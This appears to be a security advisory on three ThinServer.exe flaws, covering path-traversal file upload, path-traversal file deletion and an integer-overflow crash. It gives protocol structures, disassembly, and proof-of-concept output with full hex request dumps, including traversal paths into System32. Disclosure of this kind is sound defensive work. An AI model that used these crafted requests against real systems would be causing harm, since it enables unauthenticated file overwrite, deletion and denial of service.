CVE-2023-2917 - Message 38 (SYNC_MSG_SEND_FILE_BACKGROUND) Path Traversal File Upload
A client message sent to a synchronization thread in ThinServer.exe has the following structure:
// be = big endian
struct header
{
be16 type; // msg type
be16 flags; // msg flags
// 0x0001 - request
// 0x0002 - response
// 0x0020 - final msg fragment?
// 0x8000 - ?
be32 len; // msg body length
};
struct msg
{
header hdr;
byte data[hdr.len]; // format depends on hdr.type
};
struct msg_38
{
header hdr; // hdr.type must be 38
be32 unk;
be32 unk;
string file_name; // null-terminated string
string file_type;
string unk;
string unk;
be32 unk; // should be >= flen
be32 flen // number of bytes in the fdata field
byte fdata[flen] // data to write to file_name
};
A path traversal exists (via the file_name field) when ThinServer.exe processes a message of type 38 (SYNC_MSG_SEND_FILE_BACKGROUND). An unauthenticated remote attacker can exploit this to upload arbitrary files to any directory on the disk drive where ThinServer.exe is installed. The attacker could overwrite existing executable files with attacker-controlled, malicious contents, potentially causing remote code execution.
Proof of Concept Example Output:
# echo -n 'malicious file contents' > /tmp/malicious_file
# python3 thinserver_msg_38_path_traversal_file_upload.py -t -p 2031 -f '/tmp/malicious_file' -n '\Windows\System32\evil.exe'
[-- req --]
00000000: 00 01 00 00 ....
[-- res --]
00000000: 00 04 00 01 00 00 00 08 00 00 74 E5 01 49 E5 3F ..........t..I.?
Uploading local file /tmp/malicious_file as \Windows\System32\evil.exe on the remote host.
[-- req (up to 0x100 bytes) --]
00000000: 00 26 00 21 00 00 00 79 00 00 00 AA 00 00 00 BB .&.!...y........
00000010: 2E 2E 5C 2E 2E 5C 2E 2E 5C 2E 2E 5C 2E 2E 5C 2E ..\..\..\..\..\.
00000020: 2E 5C 2E 2E 5C 2E 2E 5C 2E 2E 5C 5C 57 69 6E 64 .\..\..\..\\Wind
00000030: 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 65 76 69 ows\System32\evi
00000040: 6C 2E 65 78 65 00 66 69 6C 65 5F 74 79 70 65 00 l.exe.file_type.
00000050: 75 6E 6B 5F 73 74 72 33 00 75 6E 6B 5F 73 74 72 unk_str3.unk_str
00000060: 34 00 00 00 00 17 00 00 00 17 6D 61 6C 69 63 69 4.........malici
00000070: 6F 75 73 20 66 69 6C 65 20 63 6F 6E 74 65 6E 74 ous file content
00000080: 73 s
[-- res --]
00000000: 00 26 00 02 00 00 00 05 00 00 00 AA 00 .&...........
CVE-2023-2915 - Message 21 Path Traversal File Deletion
Message 21 sent by the client has the following structure:
struct msg_21
{
header hdr; // hdr.type must be 21
be32 unk;
string unk; // null-terminated string
be32 fcount; // number of files to be deleted
string files[fcount]; // files to be deleted
};
A path traversal exists (via the files field) when ThinServer.exe processes a message of type 21. An unauthenticated remote attacker can exploit this to delete arbitrary files (under the security context of SYSTEM) on the disk drive where ThinServer.exe is installed.
Proof of Concept Example Output:
# python3 thinserver_path_traversal_file_deletion.py -t -p 2031 -f '\tmp\delete_me.txt'
[-- req --]
00000000: 00 01 00 00 ....
[-- res --]
00000000: 00 04 00 01 00 00 00 08 00 00 91 A1 B2 83 E6 3F ...............?
[-- req (up to 0x100 bytes) --]
00000000: 00 15 00 21 00 00 00 39 00 00 00 AA 75 6E 6B 5F ...!...9....unk_
00000010: 73 74 72 31 00 00 00 00 01 2E 2E 5C 2E 2E 5C 2E str1.......\..\.
00000020: 2E 5C 2E 2E 5C 2E 2E 5C 2E 2E 5C 2E 2E 5C 5C 74 .\..\..\..\..\\t
00000030: 6D 70 5C 64 65 6C 65 74 65 5F 6D 65 2E 74 78 74 mp\delete_me.txt
00000040: 00 .
[-- res --]
00000000: 00 15 00 02 00 00 00 05 00 00 00 AA 00 .............
CVE-2023-2914 - ThinServer "GetDataFromMsgBody" Integer32 Overflow
An integer overflow condition exists in the "GetDataFromMsgBody" function in ThinServer.exe. This function can be called when ThinServer.exe processes various types of incoming messages. For example, this vulnerability can be triggered with a message of type 13, which has the following structure:
struct msg_13
{
header hdr; // hdr.type must be 13
be32 unk;
be32 unk;
be32 dsize; // indicates size of the data field below
byte data[dsize];
};
When processing this message, ThinServer.exe allocates a heap-based buffer of msg_13.dsize bytes and calls GetDataFromMsgBody() to read that many bytes from msg_13.data and store the data in the newly allocated buffer.
GetDataFromMsgBody() checks if there is enough data in the msg_13.data field to cover msg_13.dsize. It does so by testing whether (position_of_msg_13.data within_of_the_message_body + msg_13.dsize = MsgBodySize) is true. The comparison is a signed 32-bit integer comparison. If the test condition is true it copies msg_13.dsize bytes to the destination buffer, otherwise it copies as much data as in the msg_13.data field:
ThinServer.exe
...snip...>
.text:000000014080CAC8 call TerminalMonitorMsg_GetMsgBodySize
.text:000000014080CACD mov edx, [rdi]
.text:000000014080CACF add edx, ebx ; pos + len
.text:000000014080CAD1 cmp edx, eax ; check if (pos + len) = MsgBodySize
.text:000000014080CAD1 ; if len=0x7fffffff -> int32 overflow
.text:000000014080CAD3 jle short ok_14080CAF3
.text:000000014080CAD5 lfence
.text:000000014080CAD8 mov rcx, rsi
.text:000000014080CADB call TerminalMonitorMsg_GetMsgBodySize
.text:000000014080CAE0 cmp [rdi], eax
.text:000000014080CAE2 jge short exit_14080CB0E
.text:000000014080CAE4 lfence
.text:000000014080CAE7 mov rcx, rsi
.text:000000014080CAEA call TerminalMonitorMsg_GetMsgBodySize
.text:000000014080CAEF mov ebx, eax
.text:000000014080CAF1 sub ebx, [rdi] ; copy_size: MsgBodySize - pos
.text:000000014080CAF3
.text:000000014080CAF3 ok_14080CAF3: ; CODE XREF: TerminalMonitorMsg_GetDataFromMsgBody+43↑j
.text:000000014080CAF3 test ebx, ebx
.text:000000014080CAF5 jle short exit_14080CB0E
.text:000000014080CAF7 lfence
.text:000000014080CAFA movsxd rdx, dword ptr [rdi] ; pos
.text:000000014080CAFD mov rcx, rbp
.text:000000014080CB00 add rdx, [rsi+TerminalMonitorMsg.pbMsgBody]
.text:000000014080CB04 movsxd r8, ebx
.text:000000014080CB07 call memcpy
...snip...>
The position of the msg_13.data field within the message body is 0x0C. If the attacker specifies msg_13.dsize = 0x7FFFFFFF, (0x0C + 0x7FFFFFFF) wraps around as a signed 32-bit integer and becomes a negative number which will cause the test condition to become true. As a result, 0x7FFFFFFF bytes will be copied from msg_13.data to the destination buffer, causing a buffer over-read access violation if msg_13.data contains a small amount of data (i.e., 16 bytes):
0:039> g
ModLoad: 00007fff`a1210000 00007fff`a1290000 C:\WINDOWS\System32\fwpuclnt.dll
ModLoad: 00007fff`a0d60000 00007fff`a0d6a000 C:\Windows\System32\rasadhlp.dll
(2178.fd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
rax=00000000ffff1037 rbx=000000007fffffff rcx=00000000fdad1ab0
rdx=ffffffff8251f554 rsi=000000000073e480 rdi=000000000073e008
rip=00007fff9ff318d7 rsp=000000000073df48 rbp=000000007fff1048
r8=000000007fffffe8 r9=0000000000fb5c14 r10=000000000251059c
r11=000000007fff1048 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
VCRUNTIME140!memcpy+0x5e7:
00007fff`9ff318d7 0f104411f0 movups xmm0,xmmword ptr [rcx+rdx-10h] ds:00000000`7fff0ff4=????????????????????????????????
The read access violation will result in termination of the ThinServer.exe process.
Proof of Concept Example Output:
# python3 thinserver_int32_overflow.py -t -p 2031
[-- req --]
00000000: 00 01 00 00 ....
[-- res --]
00000000: 00 04 00 01 00 00 00 08 00 00 3A 6D A0 D3 EF 3F ..........:m...?
[-- req (up to 0x100 bytes) --]
00000000: 00 0D 00 21 00 00 00 1C 00 00 00 AA 00 00 00 BB ...!............
00000010: 7F FF FF FF 41 41 41 41 41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
00000020: 41 41 41 41 AAAA
[Errno 104] Connection reset by peer